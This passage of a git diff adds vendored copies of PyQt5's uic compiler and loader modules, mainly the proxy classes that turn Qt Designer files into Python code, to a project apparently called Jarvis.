-= 1 + + def write(self, line): + if line.strip(): + if indentwidth > 0: + indent = " " * indentwidth + line = line.replace("\t", indent) + else: + indent = "\t" + + self.output.write("%s%s\n" % (indent * self.level, line)) + else: + self.output.write("\n") + + +def createCodeIndenter(output): + global _indenter + _indenter = _IndentedCodeWriter(output) + +def getIndenter(): + return _indenter + +def write_code(string): + _indenter.write(string) diff --git a/OTHERS/Jarvis/ools/PyQt5/uic/Compiler/misc.py b/OTHERS/Jarvis/ools/PyQt5/uic/Compiler/misc.py new file mode 100644 index 00000000..0dcf1817 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/uic/Compiler/misc.py @@ -0,0 +1,59 @@ +############################################################################# +## +## Copyright (C) 2016 Riverbank Computing Limited. +## Copyright (C) 2006 Thorsten Marek. +## All right reserved. +## +## This file is part of PyQt. +## +## You may use this file under the terms of the GPL v2 or the revised BSD +## license as follows: +## +## "Redistribution and use in source and binary forms, with or without +## modification, are permitted provided that the following conditions are +## met: +## * Redistributions of source code must retain the above copyright +## notice, this list of conditions and the following disclaimer. +## * Redistributions in binary form must reproduce the above copyright +## notice, this list of conditions and the following disclaimer in +## the documentation and/or other materials provided with the +## distribution. +## * Neither the name of the Riverbank Computing Limited nor the names +## of its contributors may be used to endorse or promote products +## derived from this software without specific prior written +## permission. +## +## THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +## "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +## LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +## A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +## OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +## SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +## LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +## DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +## THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +## (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +## OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +## +############################################################################# + + +def moduleMember(module, name): + if module: + return "%s.%s" % (module, name) + + return name + + +class Literal(object): + """Literal(string) -> new literal + + string will not be quoted when put into an argument list""" + def __init__(self, string): + self.string = string + + def __str__(self): + return self.string + + def __or__(self, r_op): + return Literal("%s|%s" % (self, r_op)) diff --git a/OTHERS/Jarvis/ools/PyQt5/uic/Compiler/proxy_metaclass.py b/OTHERS/Jarvis/ools/PyQt5/uic/Compiler/proxy_metaclass.py new file mode 100644 index 00000000..c997b84b --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/uic/Compiler/proxy_metaclass.py @@ -0,0 +1,100 @@ +############################################################################# +## +## Copyright (C) 2014 Riverbank Computing Limited. +## Copyright (C) 2006 Thorsten Marek. +## All right reserved. +## +## This file is part of PyQt. +## +## You may use this file under the terms of the GPL v2 or the revised BSD +## license as follows: +## +## "Redistribution and use in source and binary forms, with or without +## modification, are permitted provided that the following conditions are +## met: +## * Redistributions of source code must retain the above copyright +## notice, this list of conditions and the following disclaimer. +## * Redistributions in binary form must reproduce the above copyright +## notice, this list of conditions and the following disclaimer in +## the documentation and/or other materials provided with the +## distribution. +## * Neither the name of the Riverbank Computing Limited nor the names +## of its contributors may be used to endorse or promote products +## derived from this software without specific prior written +## permission. +## +## THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +## "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +## LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +## A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +## OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +## SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +## LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +## DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +## THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +## (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +## OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +## +############################################################################# + + +from .misc import Literal, moduleMember + + +class ProxyMetaclass(type): + """ ProxyMetaclass is the meta-class for proxies. """ + + def __init__(*args): + """ Initialise the meta-class. """ + + # Initialise as normal. + type.__init__(*args) + + # The proxy type object we have created. + proxy = args[0] + + # Go through the proxy's attributes looking for other proxies. + for sub_proxy in proxy.__dict__.values(): + if type(sub_proxy) is ProxyMetaclass: + # Set the module name of the contained proxy to the name of the + # container proxy. + sub_proxy.module = proxy.__name__ + + # Attribute hierachies are created depth first so any proxies + # contained in the sub-proxy whose module we have just set will + # already exist and have an incomplete module name. We need to + # revisit them and prepend the new name to their module names. + # Note that this should be recursive but with current usage we + # know there will be only one level to revisit. + for sub_sub_proxy in sub_proxy.__dict__.values(): + if type(sub_sub_proxy) is ProxyMetaclass: + sub_sub_proxy.module = '%s.%s' % (proxy.__name__, sub_sub_proxy.module) + + # Makes sure there is a 'module' attribute. + if not hasattr(proxy, 'module'): + proxy.module = '' + + def __getattribute__(cls, name): + try: + return type.__getattribute__(cls, name) + except AttributeError: + # Make sure __init__()'s use of hasattr() works. + if name == 'module': + raise + + # Avoid a circular import. + from .qtproxies import LiteralProxyClass + + return type(name, (LiteralProxyClass, ), + {"module": moduleMember(type.__getattribute__(cls, "module"), + type.__getattribute__(cls, "__name__"))}) + + def __str__(cls): + return moduleMember(type.__getattribute__(cls, "module"), + type.__getattribute__(cls, "__name__")) + + def __or__(self, r_op): + return Literal("%s|%s" % (self, r_op)) + + def __eq__(self, other): + return str(self) == str(other) diff --git a/OTHERS/Jarvis/ools/PyQt5/uic/Compiler/qobjectcreator.py b/OTHERS/Jarvis/ools/PyQt5/uic/Compiler/qobjectcreator.py new file mode 100644 index 00000000..4771caa1 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/uic/Compiler/qobjectcreator.py @@ -0,0 +1,180 @@ +############################################################################# +## +## Copyright (C) 2018 Riverbank Computing Limited. +## Copyright (C) 2006 Thorsten Marek. +## All right reserved. +## +## This file is part of PyQt. +## +## You may use this file under the terms of the GPL v2 or the revised BSD +## license as follows: +## +## "Redistribution and use in source and binary forms, with or without +## modification, are permitted provided that the following conditions are +## met: +## * Redistributions of source code must retain the above copyright +## notice, this list of conditions and the following disclaimer. +## * Redistributions in binary form must reproduce the above copyright +## notice, this list of conditions and the following disclaimer in +## the documentation and/or other materials provided with the +## distribution. +## * Neither the name of the Riverbank Computing Limited nor the names +## of its contributors may be used to endorse or promote products +## derived from this software without specific prior written +## permission. +## +## THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +## "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +## LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +## A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +## OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +## SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +## LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +## DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +## THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +## (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +## OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +## +############################################################################# + + +import logging +import sys + +from .indenter import write_code +from .qtproxies import QtGui, QtWidgets, Literal, strict_getattr + +if sys.hexversion >= 0x03000000: + from ..port_v3.as_string import as_string +else: + from ..port_v2.as_string import as_string + + +logger = logging.getLogger(__name__) +DEBUG = logger.debug + + +class _QtWrapper(object): + @classmethod + def search(cls, name): + try: + return strict_getattr(cls.module, name) + except AttributeError: + return None + + +class _QtGuiWrapper(_QtWrapper): + module = QtGui + + +class _QtWidgetsWrapper(_QtWrapper): + module = QtWidgets + + +class _ModuleWrapper(object): + def __init__(self, name, classes): + if "." in name: + idx = name.rfind(".") + self._package = name[:idx] + self._module = name[idx + 1:] + else: + self._package = None + self._module = name + + self._classes = classes + self._used = False + + def search(self, cls): + if cls in self._classes: + self._used = True + + # Remove any C++ scope. + cls = cls.split('.')[-1] + + return type(cls, (QtWidgets.QWidget,), {"module": self._module}) + else: + return None + + def _writeImportCode(self): + if self._used: + if self._package is None: + write_code("import %s" % self._module) + else: + write_code("from %s import %s" % (self._package, self._module)) + + +class _CustomWidgetLoader(object): + def __init__(self): + self._widgets = {} + self._usedWidgets = set() + + def addCustomWidget(self, widgetClass, baseClass, module): + assert widgetClass not in self._widgets + self._widgets[widgetClass] = (baseClass, module) + + def _resolveBaseclass(self, baseClass): + try: + for x in range(0, 10): + try: return strict_getattr(QtWidgets, baseClass) + except AttributeError: pass + + baseClass = self._widgets[baseClass][0] + else: + raise ValueError("baseclass resolve took too long, check custom widgets") + + except KeyError: + raise ValueError("unknown baseclass %s" % baseClass) + + def search(self, cls): + try: + baseClass = self._resolveBaseclass(self._widgets[cls][0]) + DEBUG("resolved baseclass of %s: %s" % (cls, baseClass)) + except KeyError: + return None + + self._usedWidgets.add(cls) + + return type(cls, (baseClass, ), {"module" : ""}) + + def _writeImportCode(self): + imports = {} + for widget in self._usedWidgets: + _, module = self._widgets[widget] + imports.setdefault(module, []).append(widget) + + for module, classes in sorted(imports.items()): + write_code("from %s import %s" % (module, ", ".join(sorted(classes)))) + + +class CompilerCreatorPolicy(object): + def __init__(self): + self._modules = [] + + def createQtGuiWidgetsWrappers(self): + return [_QtGuiWrapper, _QtWidgetsWrapper] + + def createModuleWrapper(self, name, classes): + mw = _ModuleWrapper(name, classes) + self._modules.append(mw) + return mw + + def createCustomWidgetLoader(self): + cw = _CustomWidgetLoader() + self._modules.append(cw) + return cw + + def instantiate(self, clsObject, objectname, ctor_args, is_attribute=True, no_instantiation=False): + return clsObject(objectname, is_attribute, ctor_args, no_instantiation) + + def invoke(self, rname, method, args): + return method(rname, *args) + + def getSlot(self, object, slotname): + return Literal("%s.%s" % (object, slotname)) + + def asString(self, s): + return as_string(s) + + def _writeOutImports(self): + for module in self._modules: + module._writeImportCode() diff --git a/OTHERS/Jarvis/ools/PyQt5/uic/Compiler/qtproxies.py b/OTHERS/Jarvis/ools/PyQt5/uic/Compiler/qtproxies.py new file mode 100644 index 00000000..8646ae24 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/uic/Compiler/qtproxies.py @@ -0,0 +1,470 @@ +############################################################################# +## +## Copyright (C) 2021 Riverbank Computing Limited. +## Copyright (C) 2006 Thorsten Marek. +## All right reserved. +## +## This file is part of PyQt. +## +## You may use this file under the terms of the GPL v2 or the revised BSD +## license as follows: +## +## "Redistribution and use in source and binary forms, with or without +## modification, are permitted provided that the following conditions are +## met: +## * Redistributions of source code must retain the above copyright +## notice, this list of conditions and the following disclaimer. +## * Redistributions in binary form must reproduce the above copyright +## notice, this list of conditions and the following disclaimer in +## the documentation and/or other materials provided with the +## distribution. +## * Neither the name of the Riverbank Computing Limited nor the names +## of its contributors may be used to endorse or promote products +## derived from this software without specific prior written +## permission. +## +## THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +## "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +## LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +## A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +## OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +## SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +## LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +## DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +## THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +## (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +## OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +## +############################################################################# + + +import sys +import re + +from .indenter import write_code +from .misc import Literal, moduleMember + +if sys.hexversion >= 0x03000000: + from ..port_v3.proxy_base import ProxyBase + from ..port_v3.as_string import as_string +else: + from ..port_v2.proxy_base import ProxyBase + from ..port_v2.as_string import as_string + + +i18n_strings = [] +i18n_context = "" + +def i18n_print(string): + i18n_strings.append(string) + +def i18n_void_func(name): + def _printer(self, *args): + i18n_print("%s.%s(%s)" % (self, name, ", ".join(map(as_string, args)))) + return _printer + +def i18n_func(name): + def _printer(self, rname, *args): + i18n_print("%s = %s.%s(%s)" % (rname, self, name, ", ".join(map(as_string, args)))) + return Literal(rname) + + return _printer + +def strict_getattr(module, clsname): + cls = getattr(module, clsname) + if issubclass(cls, LiteralProxyClass): + raise AttributeError(cls) + else: + return cls + + +class i18n_string(object): + def __init__(self, string, disambig): + self.string = string + self.disambig = disambig + + def __str__(self): + if self.disambig is None: + return '_translate("%s", %s)' % (i18n_context, as_string(self.string)) + + return '_translate("%s", %s, %s)' % (i18n_context, as_string(self.string), as_string(self.disambig)) + + +# Classes with this flag will be handled as literal values. If functions are +# called on these classes, the literal value changes. +# Example: +# the code +# >>> QSize(9,10).expandedTo(...) +# will print just that code. +AS_ARGUMENT = 0x02 + +# Classes with this flag may have members that are signals which themselves +# will have a connect() member. +AS_SIGNAL = 0x01 + +# ATTENTION: currently, classes can either be literal or normal. If a class +# should need both kinds of behaviour, the code has to be changed. + +class ProxyClassMember(object): + def __init__(self, proxy, function_name, flags): + self.proxy = proxy + self.function_name = function_name + self.flags = flags + + def __str__(self): + return "%s.%s" % (self.proxy, self.function_name) + + def __call__(self, *args): + if self.function_name == 'setProperty': + str_args = (as_string(args[0]), as_string(args[1])) + else: + str_args = map(as_string, args) + + func_call = "%s.%s(%s)" % (self.proxy, + self.function_name, + ", ".join(str_args)) + if self.flags & AS_ARGUMENT: + self.proxy._uic_name = func_call + return self.proxy + else: + needs_translation = False + for arg in args: + if isinstance(arg, i18n_string): + needs_translation = True + if needs_translation: + i18n_print(func_call) + else: + if self.function_name == 'connect': + func_call += ' # type: ignore' + + write_code(func_call) + + def __getattribute__(self, attribute): + """ Reimplemented to create a proxy connect() if requested and this + might be a proxy for a signal. + """ + + try: + return object.__getattribute__(self, attribute) + except AttributeError: + if attribute == 'connect' and self.flags & AS_SIGNAL: + return ProxyClassMember(self, attribute, 0) + + raise + + def __getitem__(self, idx): + """ Reimplemented to create a proxy member that should be a signal that + passes arguments. We handle signals without arguments before we get + here and never apply the index notation to them. + """ + + return ProxySignalWithArguments(self.proxy, self.function_name, idx) + + +class ProxySignalWithArguments(object): + """ This is a proxy for (what should be) a signal that passes arguments. + """ + + def __init__(self, sender, signal_name, signal_index): + self._sender = sender + self._signal_name = signal_name + + # Convert the signal index, which will be a single argument or a tuple + # of arguments, to quoted strings. + if isinstance(signal_index, tuple): + self._signal_index = ','.join(["'%s'" % a for a in signal_index]) + else: + self._signal_index = "'%s'" % signal_index + + def connect(self, slot): + write_code("%s.%s[%s].connect(%s) # type: ignore" % (self._sender, self._signal_name, self._signal_index, slot)) + + +class ProxyClass(ProxyBase): + flags = 0 + + def __init__(self, objectname, is_attribute, args=(), noInstantiation=False): + if objectname: + if is_attribute: + objectname = "self." + objectname + + self._uic_name = objectname + else: + self._uic_name = "Unnamed" + + if not noInstantiation: + funcall = "%s(%s)" % \ + (moduleMember(self.module, self.__class__.__name__), + ", ".join(map(str, args))) + + if objectname: + funcall = "%s = %s" % (objectname, funcall) + + write_code(funcall) + + def __str__(self): + return self._uic_name + + def __getattribute__(self, attribute): + try: + return object.__getattribute__(self, attribute) + except AttributeError: + return ProxyClassMember(self, attribute, self.flags) + + +class LiteralProxyClass(ProxyClass): + """LiteralObject(*args) -> new literal class + + a literal class can be used as argument in a function call + + >>> class Foo(LiteralProxyClass): pass + >>> str(Foo(1,2,3)) == "Foo(1,2,3)" + """ + flags = AS_ARGUMENT + + def __init__(self, *args): + self._uic_name = "%s(%s)" % \ + (moduleMember(self.module, self.__class__.__name__), + ", ".join(map(as_string, args))) + + +class ProxyNamespace(ProxyBase): + pass + + +# These are all the Qt classes used by pyuic5 in their namespaces. If a class +# is missing, the compiler will fail, normally with an AttributeError. +# +# For adding new classes: +# - utility classes used as literal values do not need to be listed +# because they are created on the fly as subclasses of LiteralProxyClass +# - classes which are *not* QWidgets inherit from ProxyClass and they +# have to be listed explicitly in the correct namespace. These classes +# are created via a ProxyQObjectCreator +# - new QWidget-derived classes have to inherit from qtproxies.QWidget +# If the widget does not need any special methods, it can be listed +# in _qwidgets + +class QtCore(ProxyNamespace): + class Qt(ProxyNamespace): + pass + + ## connectSlotsByName and connect have to be handled as class methods, + ## otherwise they would be created as LiteralProxyClasses and never be + ## printed + class QMetaObject(ProxyClass): + @classmethod + def connectSlotsByName(cls, *args): + ProxyClassMember(cls, "connectSlotsByName", 0)(*args) + + class QObject(ProxyClass): + flags = AS_SIGNAL + + def metaObject(self): + class _FakeMetaObject(object): + def className(*args): + return self.__class__.__name__ + return _FakeMetaObject() + + def objectName(self): + return self._uic_name.split(".")[-1] + + +class QtGui(ProxyNamespace): + class QIcon(ProxyClass): + class fromTheme(ProxyClass): pass + + class QConicalGradient(ProxyClass): pass + class QLinearGradient(ProxyClass): pass + class QRadialGradient(ProxyClass): pass + class QBrush(ProxyClass): pass + class QPainter(ProxyClass): pass + class QPalette(ProxyClass): pass + class QFont(ProxyClass): pass + class QFontDatabase(ProxyClass): pass + + +# These sub-class QWidget but aren't themselves sub-classed. +_qwidgets = ("QCalendarWidget", "QDialogButtonBox", "QDockWidget", "QGroupBox", + "QLineEdit", "QMainWindow", "QMenuBar", "QOpenGLWidget", + "QProgressBar", "QStatusBar", "QToolBar", "QWizardPage") + +class QtWidgets(ProxyNamespace): + class QApplication(QtCore.QObject): + @staticmethod + def translate(uiname, text, disambig): + return i18n_string(text or "", disambig) + + class QSpacerItem(ProxyClass): pass + class QSizePolicy(ProxyClass): pass + # QActions inherit from QObject for the meta-object stuff and the hierarchy + # has to be correct since we have a isinstance(x, QtWidgets.QLayout) call + # in the UI parser. + class QAction(QtCore.QObject): pass + class QActionGroup(QtCore.QObject): pass + class QButtonGroup(QtCore.QObject): pass + class QLayout(QtCore.QObject): pass + class QGridLayout(QLayout): pass + class QBoxLayout(QLayout): pass + class QHBoxLayout(QBoxLayout): pass + class QVBoxLayout(QBoxLayout): pass + class QFormLayout(QLayout): pass + + class QWidget(QtCore.QObject): + def font(self): + return Literal("%s.font()" % self) + + def minimumSizeHint(self): + return Literal("%s.minimumSizeHint()" % self) + + def sizePolicy(self): + sp = LiteralProxyClass() + sp._uic_name = "%s.sizePolicy()" % self + return sp + + class QDialog(QWidget): pass + class QColorDialog(QDialog): pass + class QFileDialog(QDialog): pass + class QFontDialog(QDialog): pass + class QInputDialog(QDialog): pass + class QMessageBox(QDialog): pass + class QWizard(QDialog): pass + + class QAbstractSlider(QWidget): pass + class QDial(QAbstractSlider): pass + class QScrollBar(QAbstractSlider): pass + class QSlider(QAbstractSlider): pass + + class QMenu(QWidget): + def menuAction(self): + return Literal("%s.menuAction()" % self) + + class QTabWidget(QWidget): + def addTab(self, *args): + text = args[-1] + + if isinstance(text, i18n_string): + i18n_print("%s.setTabText(%s.indexOf(%s), %s)" % \ + (self._uic_name, self._uic_name, args[0], text)) + args = args[:-1] + ("", ) + + ProxyClassMember(self, "addTab", 0)(*args) + + def indexOf(self, page): + return Literal("%s.indexOf(%s)" % (self, page)) + + class QComboBox(QWidget): pass + class QFontComboBox(QComboBox): pass + + class QAbstractSpinBox(QWidget): pass + class QDoubleSpinBox(QAbstractSpinBox): pass + class QSpinBox(QAbstractSpinBox): pass + + class QDateTimeEdit(QAbstractSpinBox): pass + class QDateEdit(QDateTimeEdit): pass + class QTimeEdit(QDateTimeEdit): pass + + class QFrame(QWidget): pass + class QLabel(QFrame): pass + class QLCDNumber(QFrame): pass + class QSplitter(QFrame): pass + class QStackedWidget(QFrame): pass + + class QToolBox(QFrame): + def addItem(self, *args): + text = args[-1] + + if isinstance(text, i18n_string): + i18n_print("%s.setItemText(%s.indexOf(%s), %s)" % \ + (self._uic_name, self._uic_name, args[0], text)) + args = args[:-1] + ("", ) + + ProxyClassMember(self, "addItem", 0)(*args) + + def indexOf(self, page): + return Literal("%s.indexOf(%s)" % (self, page)) + + def layout(self): + return QtWidgets.QLayout("%s.layout()" % self, + False, (), noInstantiation=True) + + class QAbstractScrollArea(QFrame): + def viewport(self): + return QtWidgets.QWidget("%s.viewport()" % self, False, (), + noInstantiation=True) + + class QGraphicsView(QAbstractScrollArea): pass + class QMdiArea(QAbstractScrollArea): pass + class QPlainTextEdit(QAbstractScrollArea): pass + class QScrollArea(QAbstractScrollArea): pass + + class QTextEdit(QAbstractScrollArea): pass + class QTextBrowser(QTextEdit): pass + + class QAbstractItemView(QAbstractScrollArea): pass + class QColumnView(QAbstractItemView): pass + class QHeaderView(QAbstractItemView): pass + class QListView(QAbstractItemView): pass + + class QTableView(QAbstractItemView): + def horizontalHeader(self): + return QtWidgets.QHeaderView("%s.horizontalHeader()" % self, + False, (), noInstantiation=True) + + def verticalHeader(self): + return QtWidgets.QHeaderView("%s.verticalHeader()" % self, + False, (), noInstantiation=True) + + class QTreeView(QAbstractItemView): + def header(self): + return QtWidgets.QHeaderView("%s.header()" % self, + False, (), noInstantiation=True) + + class QUndoView(QListView): pass + + class QListWidgetItem(ProxyClass): pass + + class QListWidget(QListView): + setSortingEnabled = i18n_void_func("setSortingEnabled") + isSortingEnabled = i18n_func("isSortingEnabled") + item = i18n_func("item") + + class QTableWidgetItem(ProxyClass): pass + + class QTableWidget(QTableView): + setSortingEnabled = i18n_void_func("setSortingEnabled") + isSortingEnabled = i18n_func("isSortingEnabled") + item = i18n_func("item") + horizontalHeaderItem = i18n_func("horizontalHeaderItem") + verticalHeaderItem = i18n_func("verticalHeaderItem") + + class QTreeWidgetItem(ProxyClass): + def child(self, index): + return QtWidgets.QTreeWidgetItem("%s.child(%i)" % (self, index), + False, (), noInstantiation=True) + + class QTreeWidget(QTreeView): + setSortingEnabled = i18n_void_func("setSortingEnabled") + isSortingEnabled = i18n_func("isSortingEnabled") + + def headerItem(self): + return QtWidgets.QWidget("%s.headerItem()" % self, False, (), + noInstantiation=True) + + def topLevelItem(self, index): + return QtWidgets.QTreeWidgetItem("%s.topLevelItem(%i)" % (self, index), + False, (), noInstantiation=True) + + class QAbstractButton(QWidget): pass + class QCheckBox(QAbstractButton): pass + class QRadioButton(QAbstractButton): pass + class QToolButton(QAbstractButton): pass + + class QPushButton(QAbstractButton): pass + class QCommandLinkButton(QPushButton): pass + class QKeySequenceEdit(QWidget): pass + + # Add all remaining classes. + for _class in _qwidgets: + if _class not in locals(): + locals()[_class] = type(_class, (QWidget, ), {}) diff --git a/OTHERS/Jarvis/ools/PyQt5/uic/Loader/__init__.py b/OTHERS/Jarvis/ools/PyQt5/uic/Loader/__init__.py new file mode 100644 index 00000000..d4719470 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/uic/Loader/__init__.py @@ -0,0 +1,20 @@ +############################################################################# +## +## Copyright (c) 2021 Riverbank Computing Limited +## +## This file is part of PyQt5. +## +## This file may be used under the terms of the GNU General Public License +## version 3.0 as published by the Free Software Foundation and appearing in +## the file LICENSE included in the packaging of this file. Please review the +## following information to ensure the GNU General Public License version 3.0 +## requirements will be met: http://www.gnu.org/copyleft/gpl.html. +## +## If you do not wish to use this file under the terms of the GPL version 3.0 +## then you may purchase a commercial license. For more information contact +## info@riverbankcomputing.com. +## +## This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +## WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. +## +############################################################################# diff --git a/OTHERS/Jarvis/ools/PyQt5/uic/Loader/loader.py b/OTHERS/Jarvis/ools/PyQt5/uic/Loader/loader.py new file mode 100644 index 00000000..1079a82a --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/uic/Loader/loader.py @@ -0,0 +1,66 @@ +############################################################################# +## +## Copyright (C) 2019 Riverbank Computing Limited. +## Copyright (C) 2006 Thorsten Marek. +## All right reserved. +## +## This file is part of PyQt. +## +## You may use this file under the terms of the GPL v2 or the revised BSD +## license as follows: +## +## "Redistribution and use in source and binary forms, with or without +## modification, are permitted provided that the following conditions are +## met: +## * Redistributions of source code must retain the above copyright +## notice, this list of conditions and the following disclaimer. +## * Redistributions in binary form must reproduce the above copyright +## notice, this list of conditions and the following disclaimer in +## the documentation and/or other materials provided with the +## distribution. +## * Neither the name of the Riverbank Computing Limited nor the names +## of its contributors may be used to endorse or promote products +## derived from this software without specific prior written +## permission. +## +## THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +## "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +## LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +## A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +## OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +## SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +## LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +## DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +## THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +## (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +## OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +## +############################################################################# + + +from PyQt5 import QtCore, QtGui, QtWidgets + +from ..uiparser import UIParser +from .qobjectcreator import LoaderCreatorPolicy + + +class DynamicUILoader(UIParser): + def __init__(self, package): + UIParser.__init__(self, QtCore, QtGui, QtWidgets, + LoaderCreatorPolicy(package)) + + def createToplevelWidget(self, classname, widgetname): + if self.toplevelInst is None: + return self.factory.createQObject(classname, widgetname, ()) + + if not isinstance(self.toplevelInst, self.factory.findQObjectType(classname)): + raise TypeError( + ("Wrong base class of toplevel widget", + (type(self.toplevelInst), classname))) + + return self.toplevelInst + + def loadUi(self, filename, toplevelInst, resource_suffix): + self.toplevelInst = toplevelInst + + return self.parse(filename, resource_suffix) diff --git a/OTHERS/Jarvis/ools/PyQt5/uic/Loader/qobjectcreator.py b/OTHERS/Jarvis/ools/PyQt5/uic/Loader/qobjectcreator.py new file mode 100644 index 00000000..833fefe7 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/uic/Loader/qobjectcreator.py @@ -0,0 +1,150 @@ +############################################################################# +## +## Copyright (C) 2015 Riverbank Computing Limited. +## Copyright (C) 2006 Thorsten Marek. +## All right reserved. +## +## This file is part of PyQt. +## +## You may use this file under the terms of the GPL v2 or the revised BSD +## license as follows: +## +## "Redistribution and use in source and binary forms, with or without +## modification, are permitted provided that the following conditions are +## met: +## * Redistributions of source code must retain the above copyright +## notice, this list of conditions and the following disclaimer. +## * Redistributions in binary form must reproduce the above copyright +## notice, this list of conditions and the following disclaimer in +## the documentation and/or other materials provided with the +## distribution. +## * Neither the name of the Riverbank Computing Limited nor the names +## of its contributors may be used to endorse or promote products +## derived from this software without specific prior written +## permission. +## +## THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +## "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +## LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +## A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +## OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +## SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +## LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +## DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +## THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +## (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +## OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +## 